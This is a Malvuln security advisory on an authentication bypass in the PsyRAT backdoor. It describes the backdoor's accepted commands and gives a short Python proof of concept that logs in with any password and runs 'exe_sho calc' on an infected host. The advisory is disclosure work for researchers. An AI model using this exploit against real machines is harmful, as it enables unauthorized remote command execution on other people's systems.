Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/0e6e40aad3e8d46e3c0c26ccc6ab94b3.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.ju (PSYRAT) Vulnerability: Authentication Bypass RCE Family: PSYRAT Type: PE32 MD5: 0e6e40aad3e8d46e3c0c26ccc6ab94b3 Vuln ID: MVID-2024-0677 Disclosure: 04/01/2024 Description: The PsyRAT 0.01 malware listens on random high TCP ports 53297, 53211, 532116 and so forth. Connecting to an infected host returns a logon prompt for PASS. However, you can enter anything or nothing at all and execute commands made available by the backdoor. The malware will return a BADPWD and or "Invalid command" error string but the command executes regardless. Custom client is required as it seems to dislike CRLF \r\n characters when using netcat or telnet. getdrives C\ - Fixed Drive^D\ - CD-ROM^ cpuinfo Windows Version |System Directory C\WINDOWS\system32|Computer Name DESKTOP-2C4IQJO|Username VICTIM|CPU Speed 2808 MHz|CPU Type GenuineIntel|------|PsyRAT Version PsyRAT 1.02|IP/Port 192.168.18.130|Password |Install name |Reg value |PHP URL exe_sho [Program_Name] starts a program Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=55116 s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) #send bad password PAYLOAD="malvuln" s.send(PAYLOAD.encode()) #call commands PAYLOAD="exe_sho calc" s.send(PAYLOAD.encode()) s.close() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).